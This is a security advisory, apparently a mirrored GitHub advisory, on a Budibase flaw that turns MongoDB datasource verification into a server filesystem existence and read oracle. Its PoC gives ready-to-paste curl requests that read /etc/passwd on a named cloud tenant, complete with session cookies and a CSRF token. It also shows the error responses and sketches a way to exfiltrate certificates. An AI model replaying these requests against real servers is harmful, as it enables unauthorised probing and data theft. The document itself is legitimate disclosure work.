Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile
Summary
When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.
Root Cause
packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.
POC
Reproduction — paste each line, press Enter
Line 1 (existing file — proves the file is READ):
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'RESPONSE
{"connected":false,"error":"error:0480006C:PEM routines::no start line"}
Line 2 (missing file — path is reflected):
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'RESPONSE
{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}
Actual output
/etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ)
/nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected)Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.
Impact
| Who / what is affected | How |
|---|---|
| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |
| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |
| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |
Recommended Fix
- On managed/Cloud, disallow
tlsCertificateKeyFile/tlsCAFileas filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory. - Reject absolute and
..paths; confine any file reference to an allow-listed certificates directory. - Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @budibase/server | <= 3.38.1 | no fix |
References
- https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6
- https://github.com/Budibase/budibase/pull/19244
- https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e
- https://github.com/Budibase/budibase
- https://github.com/Budibase/budibase/releases/tag/3.40.0
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N- Weakness (CWE)
CWE-209- Platform
- npm
- Package
@budibase/server- Disclosed
- 24.07.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-ppr4-5f46-j9c6 - CC BY 4.0
Vulnerability history: @budibase/server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 42
- First → latest
- 03.2024 08.2026
- Without a fix
- 19
- Exploited in attacks
- 0
Severity breakdown
- Critical 8
- High 27
- Medium 7
Disclosures per year
- 2024: 1
- 2025: 0
- 2026: 41
-
Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.